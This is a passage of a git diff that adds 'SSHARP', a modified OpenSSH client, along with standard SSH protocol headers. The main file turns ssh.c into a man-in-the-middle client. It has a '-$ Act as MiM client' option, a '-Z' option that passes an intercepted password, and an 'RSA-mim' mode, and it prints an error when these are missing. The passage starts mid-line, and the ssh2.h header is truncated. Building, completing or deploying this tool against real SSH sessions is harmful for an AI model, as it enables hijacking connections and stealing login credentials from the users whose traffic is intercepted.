authentication agent forwarding.\n"); + fprintf(stderr, " -X Enable X11 connection forwarding.\n"); + fprintf(stderr, " -x Disable X11 connection forwarding.\n"); + fprintf(stderr, " -i file Identity for public key authentication " + "(default: ~/.ssh/identity)\n"); + fprintf(stderr, " -t Tty; allocate a tty even if command is given.\n"); + fprintf(stderr, " -T Do not allocate a tty.\n"); + fprintf(stderr, " -v Verbose; display verbose debugging messages.\n"); + fprintf(stderr, " Multiple -v increases verbosity.\n"); + fprintf(stderr, " -V Display version number only.\n"); + fprintf(stderr, " -q Quiet; don't display any warning messages.\n"); + fprintf(stderr, " -f Fork into background after authentication.\n"); + + fprintf(stderr, " -c cipher Select encryption algorithm: " + "``3des'', ``blowfish''\n"); + fprintf(stderr, " -m macs Specify MAC algorithms for protocol version 2.\n"); + fprintf(stderr, " -p port Connect to this port. Server must be on the same port.\n"); + fprintf(stderr, " -L listen-port:host:port Forward local port to remote address\n"); + fprintf(stderr, " -R listen-port:host:port Forward remote port to local address\n"); + fprintf(stderr, " These cause %s to listen for connections on a port, and\n", __progname); + fprintf(stderr, " forward them to the other side by connecting to host:port.\n"); + fprintf(stderr, " -C Enable compression.\n"); + fprintf(stderr, " -N Do not execute a shell or command.\n"); + fprintf(stderr, " -g Allow remote hosts to connect to forwarded ports.\n"); + fprintf(stderr, " -1 Force protocol version 1.\n"); + fprintf(stderr, " -2 Force protocol version 2.\n"); + fprintf(stderr, " -4 Use IPv4 only.\n"); + fprintf(stderr, " -6 Use IPv6 only.\n"); + fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n"); + fprintf(stderr, " -s Invoke command (mandatory) as SSH2 subsystem.\n"); + fprintf(stderr, " -$ Act as MiM client.\n"); + fprintf(stderr, " -P Local port to bind to.\n"); + exit(1); +} + +/* + * Connects to the given host using rsh (or prints an error message and exits + * if rsh is not available). This function never returns. + */ +void +rsh_connect(char *host, char *user, Buffer * command) +{ + char *args[10]; + int i; + + log("Using rsh. WARNING: Connection will not be encrypted."); + /* Build argument list for rsh. */ + i = 0; + args[i++] = _PATH_RSH; + /* host may have to come after user on some systems */ + args[i++] = host; + if (user) { + args[i++] = "-l"; + args[i++] = user; + } + if (buffer_len(command) > 0) { + buffer_append(command, "\0", 1); + args[i++] = buffer_ptr(command); + } + args[i++] = NULL; + if (debug_flag) { + for (i = 0; args[i]; i++) { + if (i != 0) + fprintf(stderr, " "); + fprintf(stderr, "%s", args[i]); + } + fprintf(stderr, "\n"); + } + execv(_PATH_RSH, args); + perror(_PATH_RSH); + exit(1); +} + +int ssh_session(void); +int ssh_session2(void); +void load_public_identity_files(void); + +/* + * Main program for the ssh client. + */ +int +main(int ac, char **av) +{ + int i, opt, optind, exit_status, ok; + u_short fwd_port, fwd_host_port; + char *optarg, *cp, buf[256], *pass = NULL; + struct stat st; + int dummy, mimi = 0; + + __progname = get_progname(av[0]); + init_rng(); + + + /* + * Set our umask to something reasonable, as some files are created + * with the default umask. This will make them world-readable but + * writable only by the owner, which is ok for all files for which we + * don't set the modes explicitly. + */ + umask(022); + + /* Initialize option structure to indicate that no values have been set. */ + initialize_options(&options); + + /* Parse command-line arguments. */ + host = NULL; + + for (optind = 1; optind < ac; optind++) { + if (av[optind][0] != '-') { + if (host) + break; + if ((cp = strchr(av[optind], '@'))) { + if(cp == av[optind]) + usage(); + options.user = av[optind]; + *cp = '\0'; + host = ++cp; + } else + host = av[optind]; + continue; + } + opt = av[optind][1]; + if (!opt) + usage(); + if (strchr("ZMIeilcmpBLRDoP", opt)) { /* options with arguments */ + optarg = av[optind] + 2; + if (strcmp(optarg, "") == 0) { + if (optind >= ac - 1) + usage(); + optarg = av[++optind]; + } + } else { + if (av[optind][2]) + usage(); + optarg = NULL; + } + switch (opt) { + case '1': + options.protocol = SSH_PROTO_1; + break; + case '2': + options.protocol = SSH_PROTO_2; + break; + case '4': + IPv4or6 = AF_INET; + break; + case '6': + IPv4or6 = AF_INET6; + break; + case 'n': + stdin_null_flag = 1; + break; + case 'f': + fork_after_authentication_flag = 1; + stdin_null_flag = 1; + break; + case 'x': + options.forward_x11 = 0; + break; + case 'X': + options.forward_x11 = 1; + break; + case 'g': + options.gateway_ports = 1; + break; + case 'P': + options.use_privileged_port = atoi(optarg); + break; + case 'a': + options.forward_agent = 0; + break; + case 'A': + options.forward_agent = 1; + break; + case 'i': + if (stat(optarg, &st) < 0) { + fprintf(stderr, "Warning: Identity file %s does not exist.\n", + optarg); + break; + } + if (options.num_identity_files >= SSH_MAX_IDENTITY_FILES) + fatal("Too many identity files specified (max %d)", + SSH_MAX_IDENTITY_FILES); + options.identity_files[options.num_identity_files++] = xstrdup(optarg); + break; + case 't': + if (tty_flag) + force_tty_flag = 1; + tty_flag = 1; + break; + case 'v': + if (0 == debug_flag) { + debug_flag = 1; + options.log_level = SYSLOG_LEVEL_DEBUG1; + } else if (options.log_level < SYSLOG_LEVEL_DEBUG3) { + options.log_level++; + break; + } else { + fatal("Too high debugging level."); + } + /* fallthrough */ + case 'V': + fprintf(stderr, + "%s, SSH protocols %d.%d/%d.%d, OpenSSL 0x%8.8lx\n", + SSH_VERSION, + PROTOCOL_MAJOR_1, PROTOCOL_MINOR_1, + PROTOCOL_MAJOR_2, PROTOCOL_MINOR_2, + SSLeay()); + if (opt == 'V') + exit(0); + break; + case 'q': + options.log_level = SYSLOG_LEVEL_QUIET; + break; + case 'e': + /* SSHARP: no escapes please */ + fprintf(stderr, "Bad.\n"); + break; + case 'c': + if (ciphers_valid(optarg)) { + /* SSH2 only */ + options.ciphers = xstrdup(optarg); + options.cipher = SSH_CIPHER_ILLEGAL; + } else { + /* SSH1 only */ + options.cipher = cipher_number(optarg); + if (options.cipher == -1) { + fprintf(stderr, "Unknown cipher type '%s'\n", optarg); + exit(1); + } + if (options.cipher == SSH_CIPHER_3DES) { + options.ciphers = "3des-cbc"; + } else if (options.cipher == SSH_CIPHER_BLOWFISH) { + options.ciphers = "blowfish-cbc"; + } else { + options.ciphers = (char *)-1; + } + } + break; + case 'm': + if (mac_valid(optarg)) + options.macs = xstrdup(optarg); + else { + fprintf(stderr, "Unknown mac type '%s'\n", optarg); + exit(1); + } + break; + case 'p': + options.port = a2port(optarg); + if (options.port == 0) { + fprintf(stderr, "Bad port '%s'\n", optarg); + exit(1); + } + break; + case 'l': + options.user = optarg; + break; + case '$': + mimi = 1; + break; + case 'R': + if (sscanf(optarg, "%hu/%255[^/]/%hu", &fwd_port, buf, + &fwd_host_port) != 3 && + sscanf(optarg, "%hu:%255[^:]:%hu", &fwd_port, buf, + &fwd_host_port) != 3) { + fprintf(stderr, "Bad forwarding specification '%s'.\n", optarg); + usage(); + /* NOTREACHED */ + } + add_remote_forward(&options, fwd_port, buf, fwd_host_port); + break; + case 'L': + if (sscanf(optarg, "%hu/%255[^/]/%hu", &fwd_port, buf, + &fwd_host_port) != 3 && + sscanf(optarg, "%hu:%255[^:]:%hu", &fwd_port, buf, + &fwd_host_port) != 3) { + fprintf(stderr, "Bad forwarding specification '%s'.\n", optarg); + usage(); + /* NOTREACHED */ + } + add_local_forward(&options, fwd_port, buf, fwd_host_port); + break; + + case 'D': + fwd_port = a2port(optarg); + if (fwd_port == 0) { + fprintf(stderr, "Bad dynamic port '%s'\n", optarg); + exit(1); + } + add_local_forward(&options, fwd_port, "socks4", 0); + break; + + case 'C': + options.compression = 1; + break; + case 'N': + no_shell_flag = 1; + no_tty_flag = 1; + break; + case 'T': + no_tty_flag = 1; + break; + case 'o': + dummy = 1; + if (process_config_line(&options, host ? host : "", optarg, + "command-line", 0, &dummy) != 0) + exit(1); + break; + case 's': + subsystem_flag = 1; + break; + case 'b': + fprintf(stderr, "Warning: saving host keys and IP addresses!\n"); + save_hostinfo = 1; + break; + case 'Z': + pass = strdup(optarg); + break; + case 'r': + options.specialRSA = 1; + break; + default: + usage(); + } + } + + if (options.user == NULL || (pass == NULL && !options.specialRSA)) { + fprintf(stderr, "Dumbo. When acting as passwd-MiM I need -Z and" + "-l switch. When acting as RSA-mim, need at least -l.\n"); + exit(1); + } + + /* Check that we got a host name. */ + if (!host) + usage(); + + + SSLeay_add_all_algorithms(); + ERR_load_crypto_strings(); + + /* Initialize the command to execute on remote host. */ + buffer_init(&command); + + /* + * Save the command to execute on the remote host in a buffer. There + * is no limit on the length of the command, except by the maximum + * packet size. Also sets the tty flag if there is no command. + */ + if (optind == ac) { + /* No command specified - execute shell on a tty. */ + tty_flag = 1; + if (subsystem_flag) { + fprintf(stderr, "You must specify a subsystem to invoke.\n"); + usage(); + } + } else { + /* A command has been specified. Store it into the + buffer. */ + for (i = optind; i < ac; i++) { + if (i > optind) + buffer_append(&command, " ", 1); + buffer_append(&command, av[i], strlen(av[i])); + } + } + + /* Cannot fork to background if no command. */ + if (fork_after_authentication_flag && buffer_len(&command) == 0 && !no_shell_flag) + fatal("Cannot fork into background without a command to execute."); + + /* Allocate a tty by default if no command specified. */ + if (buffer_len(&command) == 0) + tty_flag = 1; + + /* Force no tty*/ + if (no_tty_flag) + tty_flag = 0; + /* Do not allocate a tty if stdin is not a tty. */ + if (!isatty(fileno(stdin)) && !force_tty_flag) { + if (tty_flag) + log("Pseudo-terminal will not be allocated because stdin is not a terminal."); + tty_flag = 0; + } + + /* + * Initialize "log" output. Since we are the client all output + * actually goes to stderr. + */ + log_init(av[0], options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level, SYSLOG_FACILITY_USER, 1); + + + /* Read systemwide configuration file. */ + read_config_file(_PATH_HOST_CONFIG_FILE, host, &options); + + /* Fill configuration defaults. */ + fill_default_options(&options); + + /* reinit */ + log_init(av[0], options.log_level, SYSLOG_FACILITY_USER, 1); + + seed_rng(); + + + if (options.hostname != NULL) + host = options.hostname; + + + /* Open a connection to the remote host. */ + ok = ssh_connect(host, &hostaddr, options.port, + options.connection_attempts, + options.use_privileged_port, + options.proxy_command); + + /* + * If we successfully made the connection, load the host private key + * in case we will need it later for combined rsa-rhosts + * authentication. This must be done before releasing extra + * privileges, because the file is only readable by root. + */ + sensitive_data.nkeys = 0; + sensitive_data.keys = NULL; + if (ok && (options.rhosts_rsa_authentication || + options.hostbased_authentication)) { + sensitive_data.nkeys = 3; + sensitive_data.keys = xmalloc(sensitive_data.nkeys*sizeof(Key)); + sensitive_data.keys[0] = key_load_private_type(KEY_RSA1, + _PATH_HOST_KEY_FILE, "", NULL); + sensitive_data.keys[1] = key_load_private_type(KEY_DSA, + _PATH_HOST_DSA_KEY_FILE, "", NULL); + sensitive_data.keys[2] = key_load_private_type(KEY_RSA, + _PATH_HOST_RSA_KEY_FILE, "", NULL); + } + /* + * Get rid of any extra privileges that we may have. We will no + * longer need them. Also, extra privileges could make it very hard + * to read identity files and other non-world-readable files from the + * user's home directory if it happens to be on a NFS volume where + * root is mapped to nobody. + */ + + + /* Check if the connection failed, and try "rsh" if appropriate. */ + if (!ok) { + if (options.port != 0) + log("Secure connection to %.100s on port %hu refused%.100s.", + host, options.port, + options.fallback_to_rsh ? "; reverting to insecure method" : ""); + else + log("Secure connection to %.100s refused%.100s.", host, + options.fallback_to_rsh ? "; reverting to insecure method" : ""); + + exit(1); + } + /* load options.identity_files */ + if (!options.specialRSA) + load_public_identity_files(); + + /* Expand ~ in known host file names. */ + /* XXX mem-leaks: */ + options.system_hostfile = + tilde_expand_filename(options.system_hostfile, getuid()); + options.user_hostfile = + tilde_expand_filename(options.user_hostfile, getuid()); + options.system_hostfile2 = + tilde_expand_filename(options.system_hostfile2, getuid()); + options.user_hostfile2 = + tilde_expand_filename(options.user_hostfile2, getuid()); + + /* Log into the remote system. This never returns if the login fails. */ + ssh_login(sensitive_data.keys, sensitive_data.nkeys, + host, (struct sockaddr *)&hostaddr, options.user, pass); + + /* We no longer need the private host keys. Clear them now. */ + if (sensitive_data.nkeys != 0) { + for (i = 0; i < sensitive_data.nkeys; i++) { + if (sensitive_data.keys[i] != NULL) { + /* Destroys contents safely */ + debug3("clear hostkey %d", i); + key_free(sensitive_data.keys[i]); + sensitive_data.keys[i] = NULL; + } + } + xfree(sensitive_data.keys); + } + + exit_status = compat20 ? ssh_session2() : ssh_session(); + packet_close(); + return exit_status; +} + +void +x11_get_proto(char *proto, int proto_len, char *data, int data_len) +{ + char line[512]; + FILE *f; + int got_data = 0, i; + + if (options.xauth_location) { + /* Try to get Xauthority information for the display. */ + snprintf(line, sizeof line, "%.100s list %.200s 2>" _PATH_DEVNULL, + options.xauth_location, getenv("DISPLAY")); + f = popen(line, "r"); + if (f && fgets(line, sizeof(line), f) && + sscanf(line, "%*s %s %s", proto, data) == 2) + got_data = 1; + if (f) + pclose(f); + } + /* + * If we didn't get authentication data, just make up some + * data. The forwarding code will check the validity of the + * response anyway, and substitute this data. The X11 + * server, however, will ignore this fake data and use + * whatever authentication mechanisms it was using otherwise + * for the local connection. + */ + if (!got_data) { + u_int32_t rand = 0; + + strlcpy(proto, "MIT-MAGIC-COOKIE-1", proto_len); + for (i = 0; i < 16; i++) { + if (i % 4 == 0) + rand = arc4random(); + snprintf(data + 2 * i, data_len - 2 * i, "%02x", rand & 0xff); + rand >>= 8; + } + } +} + +void +ssh_init_forwarding(void) +{ + int success = 0; + int i; + + /* Initiate local TCP/IP port forwardings. */ + for (i = 0; i < options.num_local_forwards; i++) { + debug("Connections to local port %d forwarded to remote address %.200s:%d", + options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port); + success += channel_request_local_forwarding( + options.local_forwards[i].port, + options.local_forwards[i].host, + options.local_forwards[i].host_port, + options.gateway_ports); + } + if (i > 0 && success == 0) + perror("Could not request local forwarding."); + + /* Initiate remote TCP/IP port forwardings. */ + for (i = 0; i < options.num_remote_forwards; i++) { + debug("Connections to remote port %d forwarded to local address %.200s:%d", + options.remote_forwards[i].port, + options.remote_forwards[i].host, + options.remote_forwards[i].host_port); + channel_request_remote_forwarding( + options.remote_forwards[i].port, + options.remote_forwards[i].host, + options.remote_forwards[i].host_port); + } +} + +void +check_agent_present(void) +{ + if (options.forward_agent) { + /* Clear agent forwarding if we don\'t have an agent. */ + int authfd = ssh_get_authentication_socket(); + if (authfd < 0) + options.forward_agent = 0; + else + ssh_close_authentication_socket(authfd); + } +} + +int +ssh_session(void) +{ + int type; + int plen; + int interactive = 0; + int have_tty = 0; + struct winsize ws; + char *cp; + + /* Enable compression if requested. */ + if (options.compression) { + debug("Requesting compression at level %d.", options.compression_level); + + if (options.compression_level < 1 || options.compression_level > 9) { + fprintf(stderr, "Compression level must be from 1 (fast) to 9 (slow, best)."); + exit(1); + } + + /* Send the request. */ + packet_start(SSH_CMSG_REQUEST_COMPRESSION); + packet_put_int(options.compression_level); + packet_send(); + packet_write_wait(); + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) + packet_start_compression(options.compression_level); + else if (type == SSH_SMSG_FAILURE) + log("Warning: Remote host refused compression."); + else + packet_disconnect("Protocol error waiting for compression response."); + } + /* Allocate a pseudo tty if appropriate. */ + if (tty_flag) { + debug("Requesting pty."); + + /* Start the packet. */ + packet_start(SSH_CMSG_REQUEST_PTY); + + /* Store TERM in the packet. There is no limit on the + length of the string. */ + cp = getenv("TERM"); + if (!cp) + cp = ""; + packet_put_string(cp, strlen(cp)); + + /* Store window size in the packet. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + memset(&ws, 0, sizeof(ws)); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + + /* Store tty modes in the packet. */ + tty_make_modes(fileno(stdin), NULL); + + /* Send the packet, and wait for it to leave. */ + packet_send(); + packet_write_wait(); + + /* Read response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + interactive = 1; + have_tty = 1; + } else if (type == SSH_SMSG_FAILURE) + log("Warning: Remote host failed or refused to allocate a pseudo tty."); + else + packet_disconnect("Protocol error waiting for pty request response."); + } + /* Request X11 forwarding if enabled and DISPLAY is set. */ + if (options.forward_x11 && getenv("DISPLAY") != NULL) { + char proto[512], data[512]; + /* Get reasonable local authentication information. */ + x11_get_proto(proto, sizeof proto, data, sizeof data); + /* Request forwarding with authentication spoofing. */ + debug("Requesting X11 forwarding with authentication spoofing."); + x11_request_forwarding_with_spoofing(0, proto, data); + + /* Read response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + interactive = 1; + } else if (type == SSH_SMSG_FAILURE) { + log("Warning: Remote host denied X11 forwarding."); + } else { + packet_disconnect("Protocol error waiting for X11 forwarding"); + } + } + /* Tell the packet module whether this is an interactive session. */ + packet_set_interactive(interactive); + + /* Request authentication agent forwarding if appropriate. */ + check_agent_present(); + + if (options.forward_agent) { + debug("Requesting authentication agent forwarding."); + auth_request_forwarding(); + + /* Read response from the server. */ + type = packet_read(&plen); + packet_integrity_check(plen, 0, type); + if (type != SSH_SMSG_SUCCESS) + log("Warning: Remote host denied authentication agent forwarding."); + } + + /* Initiate port forwardings. */ + ssh_init_forwarding(); + + /* If requested, let ssh continue in the background. */ + if (fork_after_authentication_flag) + if (daemon(1, 1) < 0) { + fprintf(stderr, "daemon() failed: %.200s", strerror(errno)); + exit(errno); + } + + /* + * If a command was specified on the command line, execute the + * command now. Otherwise request the server to start a shell. + */ + if (buffer_len(&command) > 0) { + int len = buffer_len(&command); + if (len > 900) + len = 900; + debug("Sending command: %.*s", len, buffer_ptr(&command)); + packet_start(SSH_CMSG_EXEC_CMD); + packet_put_string(buffer_ptr(&command), buffer_len(&command)); + packet_send(); + packet_write_wait(); + } else { + debug("Requesting shell."); + packet_start(SSH_CMSG_EXEC_SHELL); + packet_send(); + packet_write_wait(); + } + + /* Enter the interactive session. */ + return client_loop(have_tty, -1, 0); +} + +void +client_subsystem_reply(int type, int plen, void *ctxt) +{ + int id, len; + + id = packet_get_int(); + len = buffer_len(&command); + if (len > 900) + len = 900; + packet_done(); + if (type == SSH2_MSG_CHANNEL_FAILURE) { + fprintf(stderr, "Request for subsystem '%.*s' failed on channel %d", + len, buffer_ptr(&command), id); + exit(1); + } +} + +void +ssh_session2_callback(int id, void *arg) +{ + int len; + int interactive = 0; + struct termios tio; + + debug("client_init id %d arg %ld", id, (long)arg); + + if (tty_flag) { + struct winsize ws; + char *cp; + cp = getenv("TERM"); + if (!cp) + cp = ""; + /* Store window size in the packet. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + memset(&ws, 0, sizeof(ws)); + + channel_request_start(id, "pty-req", 0); + packet_put_cstring(cp); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + tio = get_saved_tio(); + tty_make_modes(/*ignored*/ 0, &tio); + packet_send(); + interactive = 1; + /* XXX wait for reply */ + } + if (options.forward_x11 && + getenv("DISPLAY") != NULL) { + char proto[512], data[512]; + /* Get reasonable local authentication information. */ + x11_get_proto(proto, sizeof proto, data, sizeof data); + /* Request forwarding with authentication spoofing. */ + debug("Requesting X11 forwarding with authentication spoofing."); + x11_request_forwarding_with_spoofing(id, proto, data); + interactive = 1; + /* XXX wait for reply */ + } + + check_agent_present(); + if (options.forward_agent) { + debug("Requesting authentication agent forwarding."); + channel_request_start(id, "auth-agent-req@openssh.com", 0); + packet_send(); + } + + len = buffer_len(&command); + if (len > 0) { + if (len > 900) + len = 900; + if (subsystem_flag) { + debug("Sending subsystem: %.*s", len, buffer_ptr(&command)); + channel_request_start(id, "subsystem", /*want reply*/ 1); + /* register callback for reply */ + /* XXX we asume that client_loop has already been called */ + dispatch_set(SSH2_MSG_CHANNEL_FAILURE, &client_subsystem_reply); + dispatch_set(SSH2_MSG_CHANNEL_SUCCESS, &client_subsystem_reply); + } else { + debug("Sending command: %.*s", len, buffer_ptr(&command)); + channel_request_start(id, "exec", 0); + } + packet_put_string(buffer_ptr(&command), buffer_len(&command)); + packet_send(); + } else { + channel_request(id, "shell", 0); + } + /* channel_callback(id, SSH2_MSG_OPEN_CONFIGMATION, client_init, 0); */ + + /* register different callback, etc. XXX */ + packet_set_interactive(interactive); +} + +int +ssh_session2_command(void) +{ + int id, window, packetmax; + int in, out, err; + + if (stdin_null_flag) { + in = open(_PATH_DEVNULL, O_RDONLY); + } else { + in = dup(STDIN_FILENO); + } + out = dup(STDOUT_FILENO); + err = dup(STDERR_FILENO); + + if (in < 0 || out < 0 || err < 0) { + perror("dup() in/out/err failed"); + exit(errno); + } + + /* enable nonblocking unless tty */ + if (!isatty(in)) + set_nonblock(in); + if (!isatty(out)) + set_nonblock(out); + if (!isatty(err)) + set_nonblock(err); + + window = CHAN_SES_WINDOW_DEFAULT; + packetmax = CHAN_SES_PACKET_DEFAULT; + if (!tty_flag) { + window *= 2; + packetmax *=2; + } + id = channel_new( + "session", SSH_CHANNEL_OPENING, in, out, err, + window, packetmax, CHAN_EXTENDED_WRITE, + xstrdup("client-session"), /*nonblock*/0); + +debug("channel_new: %d", id); + + channel_open(id); + channel_register_callback(id, SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, + ssh_session2_callback, (void *)0); + + return id; +} + +int +ssh_session2(void) +{ + int id; + + /* XXX should be pre-session */ + ssh_init_forwarding(); + + id = no_shell_flag ? -1 : ssh_session2_command(); + + /* If requested, let ssh continue in the background. */ + if (fork_after_authentication_flag) + if (daemon(1, 1) < 0) + fatal("daemon() failed: %.200s", strerror(errno)); + + return client_loop(tty_flag, tty_flag ? options.escape_char : -1, id); +} + +void +load_public_identity_files(void) +{ + char *filename; + Key *public; + int i; + + for (i = 0; i < options.num_identity_files; i++) { + filename = tilde_expand_filename(options.identity_files[i], + getuid()); + public = key_load_public(filename, NULL); + debug("identity file %s type %d", filename, + public ? public->type : -1); + xfree(options.identity_files[i]); + options.identity_files[i] = filename; + options.identity_keys[i] = public; + } +} diff --git a/other/ssharp/ssh.h b/other/ssharp/ssh.h new file mode 100644 index 0000000..0ee6286 --- /dev/null +++ b/other/ssharp/ssh.h @@ -0,0 +1,99 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: ssh.h,v 1.62 2001/01/23 10:45:10 markus Exp $"); */ + +#ifndef SSH_H +#define SSH_H + +#include /* For struct sockaddr_in */ +#include /* For struct pw */ +#include /* For va_list */ +#include /* For LOG_AUTH and friends */ +#include /* For struct sockaddr_storage */ +#include "openbsd-compat/fake-socket.h" /* For struct sockaddr_storage */ +#ifdef HAVE_SYS_SELECT_H +# include +#endif + +/* Cipher used for encrypting authentication files. */ +#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES + +/* Default port number. */ +#define SSH_DEFAULT_PORT 22 + +/* Maximum number of TCP/IP ports forwarded per direction. */ +#define SSH_MAX_FORWARDS_PER_DIRECTION 100 + +/* + * Maximum number of RSA authentication identity files that can be specified + * in configuration files or on the command line. + */ +#define SSH_MAX_IDENTITY_FILES 100 + +/* + * Major protocol version. Different version indicates major incompatiblity + * that prevents communication. + * + * Minor protocol version. Different version indicates minor incompatibility + * that does not prevent interoperation. + */ +#define PROTOCOL_MAJOR_1 1 +#define PROTOCOL_MINOR_1 5 + +/* We support both SSH1 and SSH2 */ +#define PROTOCOL_MAJOR_2 2 +#define PROTOCOL_MINOR_2 0 + +/* + * Name for the service. The port named by this service overrides the + * default port if present. + */ +#define SSH_SERVICE_NAME "ssh" + +#if defined(USE_PAM) && !defined(SSHD_PAM_SERVICE) +# define SSHD_PAM_SERVICE __progname +#endif + +/* + * Name of the environment variable containing the pathname of the + * authentication socket. + */ +#define SSH_AGENTPID_ENV_NAME "SSH_AGENT_PID" + +/* + * Name of the environment variable containing the pathname of the + * authentication socket. + */ +#define SSH_AUTHSOCKET_ENV_NAME "SSH_AUTH_SOCK" + +/* + * Environment variable for overwriting the default location of askpass + */ +#define SSH_ASKPASS_ENV "SSH_ASKPASS" + +/* + * Force host key length and server key length to differ by at least this + * many bits. This is to make double encryption with rsaref work. + */ +#define SSH_KEY_BITS_RESERVED 128 + +/* + * Length of the session key in bytes. (Specified as 256 bits in the + * protocol.) + */ +#define SSH_SESSION_KEY_LENGTH 32 + +/* Name of Kerberos service for SSH to use. */ +#define KRB4_SERVICE_NAME "rcmd" + +#endif /* SSH_H */ diff --git a/other/ssharp/ssh1.h b/other/ssharp/ssh1.h new file mode 100644 index 0000000..770c5e4 --- /dev/null +++ b/other/ssharp/ssh1.h @@ -0,0 +1,86 @@ +/* $OpenBSD: ssh1.h,v 1.2 2001/01/29 01:58:18 niklas Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* + * Definition of message types. New values can be added, but old values + * should not be removed or without careful consideration of the consequences + * for compatibility. The maximum value is 254; value 255 is reserved for + * future extension. + */ +/* Message name */ /* msg code */ /* arguments */ +#define SSH_MSG_NONE 0 /* no message */ +#define SSH_MSG_DISCONNECT 1 /* cause (string) */ +#define SSH_SMSG_PUBLIC_KEY 2 /* ck,msk,srvk,hostk */ +#define SSH_CMSG_SESSION_KEY 3 /* key (BIGNUM) */ +#define SSH_CMSG_USER 4 /* user (string) */ +#define SSH_CMSG_AUTH_RHOSTS 5 /* user (string) */ +#define SSH_CMSG_AUTH_RSA 6 /* modulus (BIGNUM) */ +#define SSH_SMSG_AUTH_RSA_CHALLENGE 7 /* int (BIGNUM) */ +#define SSH_CMSG_AUTH_RSA_RESPONSE 8 /* int (BIGNUM) */ +#define SSH_CMSG_AUTH_PASSWORD 9 /* pass (string) */ +#define SSH_CMSG_REQUEST_PTY 10 /* TERM, tty modes */ +#define SSH_CMSG_WINDOW_SIZE 11 /* row,col,xpix,ypix */ +#define SSH_CMSG_EXEC_SHELL 12 /* */ +#define SSH_CMSG_EXEC_CMD 13 /* cmd (string) */ +#define SSH_SMSG_SUCCESS 14 /* */ +#define SSH_SMSG_FAILURE 15 /* */ +#define SSH_CMSG_STDIN_DATA 16 /* data (string) */ +#define SSH_SMSG_STDOUT_DATA 17 /* data (string) */ +#define SSH_SMSG_STDERR_DATA 18 /* data (string) */ +#define SSH_CMSG_EOF 19 /* */ +#define SSH_SMSG_EXITSTATUS 20 /* status (int) */ +#define SSH_MSG_CHANNEL_OPEN_CONFIRMATION 21 /* channel (int) */ +#define SSH_MSG_CHANNEL_OPEN_FAILURE 22 /* channel (int) */ +#define SSH_MSG_CHANNEL_DATA 23 /* ch,data (int,str) */ +#define SSH_MSG_CHANNEL_CLOSE 24 /* channel (int) */ +#define SSH_MSG_CHANNEL_CLOSE_CONFIRMATION 25 /* channel (int) */ +/* SSH_CMSG_X11_REQUEST_FORWARDING 26 OBSOLETE */ +#define SSH_SMSG_X11_OPEN 27 /* channel (int) */ +#define SSH_CMSG_PORT_FORWARD_REQUEST 28 /* p,host,hp (i,s,i) */ +#define SSH_MSG_PORT_OPEN 29 /* ch,h,p (i,s,i) */ +#define SSH_CMSG_AGENT_REQUEST_FORWARDING 30 /* */ +#define SSH_SMSG_AGENT_OPEN 31 /* port (int) */ +#define SSH_MSG_IGNORE 32 /* string */ +#define SSH_CMSG_EXIT_CONFIRMATION 33 /* */ +#define SSH_CMSG_X11_REQUEST_FORWARDING 34 /* proto,data (s,s) */ +#define SSH_CMSG_AUTH_RHOSTS_RSA 35 /* user,mod (s,mpi) */ +#define SSH_MSG_DEBUG 36 /* string */ +#define SSH_CMSG_REQUEST_COMPRESSION 37 /* level 1-9 (int) */ +#define SSH_CMSG_MAX_PACKET_SIZE 38 /* size 4k-1024k (int) */ +#define SSH_CMSG_AUTH_TIS 39 /* we use this for s/key */ +#define SSH_SMSG_AUTH_TIS_CHALLENGE 40 /* challenge (string) */ +#define SSH_CMSG_AUTH_TIS_RESPONSE 41 /* response (string) */ +#define SSH_CMSG_AUTH_KERBEROS 42 /* (KTEXT) */ +#define SSH_SMSG_AUTH_KERBEROS_RESPONSE 43 /* (KTEXT) */ +#define SSH_CMSG_HAVE_KERBEROS_TGT 44 /* credentials (s) */ +#define SSH_CMSG_HAVE_AFS_TOKEN 65 /* token (s) */ + +/* + * Authentication methods. New types can be added, but old types should not + * be removed for compatibility. The maximum allowed value is 31. + */ +#define SSH_AUTH_RHOSTS 1 +#define SSH_AUTH_RSA 2 +#define SSH_AUTH_PASSWORD 3 +#define SSH_AUTH_RHOSTS_RSA 4 +#define SSH_AUTH_TIS 5 +#define SSH_AUTH_KERBEROS 6 +#define SSH_PASS_KERBEROS_TGT 7 + /* 8 to 15 are reserved */ +#define SSH_PASS_AFS_TOKEN 21 + +/* Protocol flags. These are bit masks. */ +#define SSH_PROTOFLAG_SCREEN_NUMBER 1 /* X11 forwarding includes screen */ +#define SSH_PROTOFLAG_HOST_IN_FWD_OPEN 2 /* forwarding opens contain host */ + diff --git a/other/ssharp/ssh2.h b/other/ssharp/ssh2.h new file mode 100644 index 0000000..e45aef2 --- /dev/null +++ b/other/ssharp/ssh2.h @@ -0,0 +1,143 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must 